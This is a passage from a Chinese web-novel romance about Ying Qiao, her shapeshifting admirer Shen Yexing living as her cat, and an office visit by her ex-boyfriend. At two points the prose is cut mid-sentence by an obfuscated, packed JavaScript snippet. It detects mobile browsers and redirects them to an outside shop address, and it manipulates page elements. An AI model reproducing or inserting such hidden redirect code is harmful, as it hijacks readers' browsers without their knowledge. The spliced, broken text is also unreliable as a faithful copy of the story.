应峤扭头看了一眼在跟空气搏斗的猫,怀疑它刚才的可怜样子都是装的。看它现在目光炯炯,哪有半分不适! 一和应峤对视,奶牛猫就装无辜装可爱,停下手上动作,步伐优雅地走过来。 这还差不多嘛。 应峤刚想摸,它一扭身狡猾地躲开了。 但它也没走太远,轻巧地窜上茶几,对着应峤开始慢条斯理地舔爪子。舔一会儿瞄一眼应峤的脸色,如此反复乐此不疲。 “为什么不给摸?”应峤困惑。 奶牛猫闻言好像给了她一个“你说呢”的表情。 应峤福至心灵开始:“咪咪咪咪。” 奶牛猫又给了一个“你在叫我吗”的表情。 应峤冷静地思考,觉得自己应该是出现了幻觉,她竟然从一只猫脸上看到这么多丰富的表情。 “以后叫你咪咪好不好呀?”应峤夹起嗓子。 奶牛猫当然被迷得晕头转向,一方面他变成什么动物就会受到那种动物天性的影响,另一方面他无法拒绝应峤用这么可爱的声音叫他。 “来来来,给你酸奶。”应峤想起来什么似的,从沙发一旁的边柜里掏出一盒她之前健身买的零添加酸奶。 奶牛猫当然无法抵御这种诱惑,它假装冷酷,实则以迅雷不及掩耳之势扑了上来。 应峤下意识躲避,向后一仰,高高举起酸奶。奶牛猫紧急刹车,歪歪脑袋,大眼睛一眨不眨地盯着她,好像刚才饿虎扑食般的猫不是它。 “冷静,冷静。”应峤教育道。 奶牛猫伸出爪子摸了她一下。 应峤这才回身慢慢撕开酸奶盖,把酸奶递到它嘴边舔。 作为人沈靥星很少喝酸奶,平时不是喝冰美式就是喝茶,最多谈生意时喝点红酒洋酒。作为奶牛猫,沈靥星舔酸奶舔得忘我,舔得投入,舔得头也不抬,舔得酸奶盒吧嗒吧嗒响。 “咪咪。”应峤把酸奶放在桌上,一边叫它一边摸它的毛。 它的毛发很顺滑,黑色部分隐隐发亮,毛下也不是瘦骨嶙峋的身体,反而蛮结实,不像流浪猫。 应峤摸得入迷,从头摸到尾,摸着热腾腾的小猫身体,忍不住越摸越深入。摸得沈靥星终于忍不住给了她一拳。 应峤没有意识到她刚才做了一个比较冒昧的行为,反而“倒打一耙”:“吃完就翻脸,你这猫真是的!” 奶牛猫嘴边还沾着酸奶,却没有丝毫的心虚,义正言辞地推开了她的手,换了个姿势在她身边盘卧下来。 意思是,可以摸,但只能摸头。 应峤不摸了,她开始换衣服,脱了外套奶牛猫还无动于衷,脱了内搭之后奶牛猫猛地跳起来,飞也似的逃走了。 神经猫。应峤一头雾水,换好睡衣将今天外穿的衣物丢进洗衣机。 洗衣机安静地转动,应峤拿着前几天取下来的羽毛胸针端详。好像有点掉毛,她起身去翻找胶水,一转头胸针就被奶牛猫咬在了嘴里。 “那个不能吃。”应峤觉得自己此时还比较平静。 奶牛猫甩甩尾巴,表示听不懂。这是他做鹦鹉时掉下来的毛,聚会时他一眼就认出来了,应峤把它们搜集起来还做成了胸针,他开心的不得了。但是乐极生悲,他突然开始嫉妒消失的鹦鹉。自己讨厌自己是有病,但奶牛猫就是这样会随时抽风。 “还给我。”应峤伸出手,放在它下巴处,“吃了你会死知道吗?” 她内心其实有些焦灼,怕胸针被它咬烂了,但多年工作经历已经让她历练出来,即使泰山崩于前也不改脸色。其实是累的,哪有多余的情绪。 奶牛猫一低头吐出来,干干净净,没有分毫损伤。 应峤觉得它在玩/弄自己。 取了胶水,应峤将羽毛粘得更结实了点,之后便把胸针放进了鸟笼里。 精致的鸟笼落了锁,原本叽叽喳喳的绿色身影已经不见,唯有沉默的胸针代替它,等待它归来。 “咪……”奶牛猫蹭了她一下。 「还会回来吗」 一道突如其来的模糊声音叫他突然警觉,应峤没说话,他却听到了说话声。 他想再听再判断一下,却发现那声音消失了,犹如微弱的风。 应峤放完东西,发现奶牛猫又竖起耳朵像是发现什么似的对着空气巡逻,不由得也心中一紧。 她跟着四处打量,可是屋内风平浪静。 「不会……有鬼吧」 毛骨悚然之意油然而生,应峤忍不住想。 奶牛猫耳朵又抖了抖,这次他又听到了,更加模糊,断断续续,是从应峤这边传来的。 不是鬼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276791|198285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他可以确定了,应峤的嘴巴没动,神情严肃,他听到的是她的心声。 他能听到应峤的心声??? 潘多拉魔盒彻底打开了,沈靥星一个趔趄,神经爆发出火花,忍不住手舞足蹈。 在应峤眼里就是奶牛猫如临大敌般闻嗅很久,突然静止不动,又突然翻了个跟斗。 「奶牛猫需要及时驱魔」 「奶牛猫是健壮漂亮的神经病。」 半夜应峤又在网上研究养猫。她躺在柔软的被子上毫无困意,聚精会神的刷帖,外面奶牛猫在飞檐走壁,跳上跳下,以及玩累了用应峤给它准备的小熊猫造型水杯喝水。 这只水杯是段姐去动物园带回来的,她和段姐二年级的儿子一人一个。 养猫之前,家里有风吹草动应峤都会疑神疑鬼,猜测是不是有人溜门撬锁。养猫之后,应峤确定每一次动静都是猫搞出来的。 猫怕人睡得太死,猫好。 今天去上班应峤想了想还是在临出门前拿出来沈靥星赠送的胸针。但她今天穿卫衣套装,就显得不是那么合适。犹豫再三,她又回去从衣柜里翻出来很久不穿得黑丝绒裙。 一换一穿就耽误了时间,再去坐地铁或骑电动车就来不及打卡,应峤打了辆出租车去公司。 出租车是新换的电车,皮革座椅散发出刺鼻的味道,再加上起步时的骤然加速,刚过一个路口应峤就想吐。她拼命地压住一阵阵翻涌上来的恶心,按下窗子企图缓解。但很不巧,她的手机又在此时接二连三地响起来。 「救命,应姐!」是卷毛。 「今天有个客户要来参观公司我给忘了,我现在还在外面跑业务回不来。」 「求求你帮我接待一下吧。」 应峤吐出一口气,胃里更是难受,她顶着司机拐弯给她造成的眩晕回复:OK。 她是救火队员,不是救这个就是救那个,即使这个时候了思维惯性还是让她毫不犹疑地答应。 公司大楼越来越近,司机猛的一个急刹,稳当当停在大门前,自信道:“怎么样妹子,没晚了你上班吧。” 应峤胡乱嗯了几声,勉强扯出一个笑容,开门下车快走几步弯腰停下。 但她因为没吃早饭完全吐不出来,不上不下的堵的难受。她需要转移一下注意力,视线移到地上,黑色蚂蚁排成一排接连不断地向前移动,它们的目的地是树干下一块硬糖。 蚂蚁是黑色的,她也是黑色的,应峤漫无目的地想,即使是蚂蚁也要勤劳地工作,人和蚂蚁有什么分别。 想到工作她又清醒过来,今天这一身套裙正好接待客户,不会太不庄重,尺度也拿捏得恰到好处。 缓过劲儿来,她重新挺直腰走进公司。九点钟,差一分不多,差一分不少,准点打卡上班。 卷毛已经及时地把客户信息,要来的时间点,以及注意事项全都发给她了。应峤浏览着文档,从长长的内容中看到两个熟悉的名字。 联络人:周淮。 随行助理:蒋明好。 真是晦气,越是不想看到的人越往前凑,应峤还要忍着厌烦招待他,老天对她“不薄”。 他们两个怎么会在一起?周淮什么时候跳了槽她完全没头绪,怪不得前几日打电话来打探沈靥星的消息。原来和好是假,套话才是真,这是能屈能伸。 应峤继续研读起这个公司的信息,这是一家经销商,因为想要开辟新业务所以来公司考察。看他们的目标应该是沈靥星牵得线。 箭在弦上,不得不发,眼看着时间快要到考察队来公司的时候,应峤抛却杂念,专心致志地熟悉起流程来。 17. 变猫第二天 十点钟,蒋明好一行人还没有到达。 应峤看了看时间,接到一个电话,来自周淮。听到对面的接待人员是应峤,他明显诧异地微顿了下,但很快又恢复如常。 “应小姐,不好意思,我们路上堵车,预计,十五分钟后到达,还请见谅。” 他说得礼貌,但有意无意咬重了那个不好意思,因此显得有些轻佻。 但应峤全当没听见,以一种公事公办的态度回复:“好的,没关系,安全重要。” 周淮估计得时间很准,十五分钟后,应峤如约见到了他。依旧是那副精英男模样,合身剪裁的西装,一副无框眼镜,周淮笑眯眯地瞥来一眼,应峤不着痕迹地皱了下眉头。 如果可以,她并不想跟撕破脸的前男友再有什么瓜葛。 不过考察队的领头人并不是周淮,甚至他只能在队伍中站中间位置,前面是作为助理的蒋明好和负责人。 负责人姓贾,面相看着不错,眼神中有几分商人的精明,他开口寒暄:“你好,小应,辛苦你。” “今天来主要是看看贵公司主打产品和生产状况,再谈今后合作。这位是小蒋,也跟着来学习学习。” 言语之中对蒋明好也多有提点。 应峤端起笑容:“欢迎贾总,您这边请,我带您详细参观一下。” 她引着众人先往会议室去。坐定之后,应峤播放了卷毛事先准备好的PPT。虽然卷毛人总是一惊一乍的,但做事还算比较靠得住,一套PPT简洁大方,亮点突出,相对应的稿件也逻辑通畅,应峤只顺了几遍就记了个七七八八。 她本身口才就不错,尤其擅长临场发挥,大学时期参加了不少主持辩论活动,这种公司简述她还是手拿把掐的。 这也出乎周淮的意料,他坐在下面负责记录,记着记着竟有些走神。工作中的应峤与他记忆中的判若两人,她专业、克制,说话精准且没有讨好感,面对贾总的关键提问也应对自如。 管中窥豹般,他发现了应峤不为他所知的一面,这让他心中莫名有些烦躁。他换了个姿势敲电脑,白光倒映在他的镜片上,映出他眼底一片冰凉。 他有种被欺骗的感觉。之前的应峤什么事都无所谓,什么事都说好,叫他以为她不过是个蠢笨无趣,空有一张美丽脸蛋的女人。现在事实告诉他,他好像看走了眼,她是有些特别之处的,就像一块石头露出光华。 介绍很快结束,周淮才发现自己大半部分都记得七零八落的,他连忙查看了录音笔,确保内容全部收录才放心。 从会议室出来,他们又转到产品陈列区。 递产品试吃的时候蒋明好动作随意了些,颇有些亲近,就被周淮暗中留意。他若有所思,猜测着蒋明好和他前女友应峤的关系。 考察进行的有条不紊,进展很快,吴总笑着跟他们说回去之后还会再进一步谈。整体结束后正赶上中午,日光毫无顾忌地暴晒着大地,他顺手拿了几分产品介绍册频频给自己扇风。 眼见着吴总额头直冒汗,应峤赶紧给人送去门口,他着急回车上躲躲,蒋明好和周淮倒是刻意放慢了脚步,留在后面。 蒋明好没别的意思,就是觉得太巧,在即将合作的公司遇到老同学,怎么也得联络一下感情。但他刚跟应峤寒暄几句,还没来得及多说,周淮就追了上来,装作不知情的样子问:“蒋经理,你们认识?” “可不嘛,我们之前是同学,那时候我们坐同桌,我是副班长,她是数学课代表,收作业总帮我忙。”蒋明好笑得灿烂。 上学时他就是个老好人,又因为长得白嫩乖巧,所以被人冠以傻白甜称号,现在还是一样,问一句就和盘托出。 “好巧,我跟应小姐也认识。”周淮眉微挑,抬眼一扫,笑道。 他的长相本就有些阴柔,一双丹凤眼,这样看人的时候像是憋着一肚子算计。应峤察觉到他似乎有些恨意,不是对着自己,而是对着蒋明好。 “哦,这么巧啊,那我们也算有缘。”蒋明好对此一无所知。 “可不是么,蒋经理就不好奇我们是什么关系吗?”周淮继续道。 应峤皱起眉头,想要制止他。蒋明好再迟钝也发现了不对,他讪笑两声,“你看我们也说得太久了,快走吧,要不然一会儿赶不上贾总了。” “看来蒋经理不知道,应小姐没告诉你?” 应峤不知道周淮为什么又发疯,明明被掌握把柄的是他,他却无所畏惧一样。难道他要当场给她来个鱼死网破? 这一点应峤倒是猜错了,周淮只是不甘心,蒋明好可以攀上公司千金,又可以在这里跟应峤叙旧,凭什么自己要夹着尾巴做人? 他只是风流没掌握好尺度而已,想当初,自上学时他就是全校风云人物,靠一张好脸赢得多少赞誉和名声,现在不顶用了,接二连三被这同学俩打击。这场子他一定要找回来。 可还没等他继续说,就见一人大步走来,是本应在外面商谈项目的沈靥星,他眉眼沉沉,又因身高更生压迫感。只见他直接横插在应峤和周淮之间,严严实实挡住后者的视线,而后开口:“不如跟我说说,你们有什么关系。” “沈总。”身后卷毛跟着叫,他想提醒已经来不及。 沈靥星怒气上涌,眸光凌厉,攫住周淮不放,似林中凶兽露出森森白牙,平日里的矜贵礼貌消失不见,两人之间弥漫着无声的战火和硝烟。 周淮哑了火,男人之间就是这样,见面之后地位到长相,从服装到腕表,从领带到皮鞋,全方位都要竞争一番。很可惜,率先落败并被甩出一大截远的是他周淮。 周淮舔了舔唇,露出一抹艳红,像是没有尝到味道就鸣金收兵的蛇信。之后,他又恢复了那副文雅模样,道:“之前的一些小纠葛而已,我想应小姐可能也不想再提。” 什么样的小纠葛要叫他欲语还休,避而不谈?他这是在给应峤下绊子,敏锐如他已经察觉到眼前这位沈总和应峤关系不一般。 甚至他嗅到了争夺的信号,只不过表面上他玩不过沈靥星而已,但这不意味着他不能给他们添点堵。 “带蒋经理先走吧,前面还有些东西可以看。”沈靥星突然扭头安排道。 应峤虽然不知道他想做什么,但蒋明好率先抬腿,远离这纷争之地。 在路上,蒋明好跟她咬耳朵,“你前男友?” “你知道?”应峤瞥了他一眼,一脸知道还装傻的表情。 “刚反应过来。”蒋明好挠挠头,“那沈总是你……现任?” 应峤嗯了声。 “你看着吧,这事儿没那么容易结束。”他又道。 “他不是那样的人。”应峤为他辩解。 “你……”蒋明好意味深长,“算了,等着看吧,要不跟我打个赌?” 蒋明好本来也以为是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17276792|198285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己想错了,但他突然想起来当初毕业礼物他找人交换号码结果被拒绝的事。当初那个沉默的模糊的身影渐渐清晰,赫然就是沈靥星。 他以为沈靥星不过是个寻常的男同学,对应峤不了解也没想法,更何况他总是很随和,有求必应,所以当初被果断拒绝后他还有没面子。现在看来,沈靥星恐怕也和自己一样,早就对应峤有意思,不过沈靥星比他更执着。 “不赌。”应峤果断拒绝。 “好吧,那我们一起等着看吧。”蒋明好一摊手,又在车前磨蹭了一会儿。 很快周淮就回来了,他不能耽误太久,回来时脚步匆匆脸色阴沉。 周淮一个招呼都没打,径直拉开车门坐了进去,在他关门的一刹那,应峤看到了他唇边一点血和凌乱的领口。 君子动手不动口,沈靥星大约不太了解国内文化,不明白这个道理。蒋明好有些幸灾乐祸,同在一个团队,他跟周淮本就有些过节,现在看他遭殃只会想笑。 他好不容易才按下上扬的嘴角,冲应峤告别,也跟车走了。应峤弯腰跟他打招呼,正好叫沈靥星看见。 他站在应峤身后等她回头来发现自己。 应峤是发现了,十分自然地问他:“你对他动手了?” “没有。” 人在撒谎的时候会视线飘忽,沈靥星快速扭头,伸手为应峤拍走肩膀上的落灰,又快速地转回视线。 他表现得太明显,应峤有点想笑,但她又忍住了,“我是怕你出事,周淮那人很记仇。” “我也很记仇。”沈靥星一点都不想听到应峤提起周淮,哪怕是这种情况,他只想她关注自己。而且他的确记仇,记周淮跟应峤恋爱过的仇,也记他分手后跑到应峤门口不知道想做什么的仇。 “放心,我有分寸的。”沈靥星又补了一句。 两人回公司去,沈靥星依旧亦步亦趋。他总喜欢站在应峤身后,错开半个身子的距离,呈现出一种守卫的姿态。 ”你说,那个贾总怎么这么重视蒋明好?”应峤还是没想通,蒋明好只是一个助理,贾总却对他慈眉善目,并且频频提起。 “他要订婚了。”沈靥星冒出这么一句。 “什么?”应峤没反应过来。 “他要订婚了,订婚对象是今天这个公司老总的女儿。” 原来是乘龙快婿,应峤顿悟。 见应峤不再好奇,沈靥星便心满意足,他们现在关于彼此的话还说不完,哪有什么空闲去谈别人。 应峤心知肚明,沈靥星又在吃醋,她这才发觉沈靥星总是吃醋,他的心很小很小,这让她更想逗他:“他临走跟我说了一件事。” “什么事?”沈靥星如临大敌。 “当年的事啊,他说当年交换毕业礼物,他许诺你好多事你都不肯答应他,叫他很没面子。” 闻言沈靥星的嘴角反倒翘起来,“我等这个机会也等了很久,这个机会本来就是我的。” 他想要的他绝对不会放手,而且蒋明好能送什么好东西,无非是一个精品店里买的香薰蜡烛。他准备的是自己亲手做的镶了翡翠的纯银菩萨像。 一个小小的坠子,他缠着老师傅做了好几个月,才勉强刻出清晰的轮廓。 他心里想着应峤,下刀也是应峤,一座莲台被他雕得栩栩如生,心甘情愿地托着她。而他手上则留了许多伤口,血珠子一串连着一串。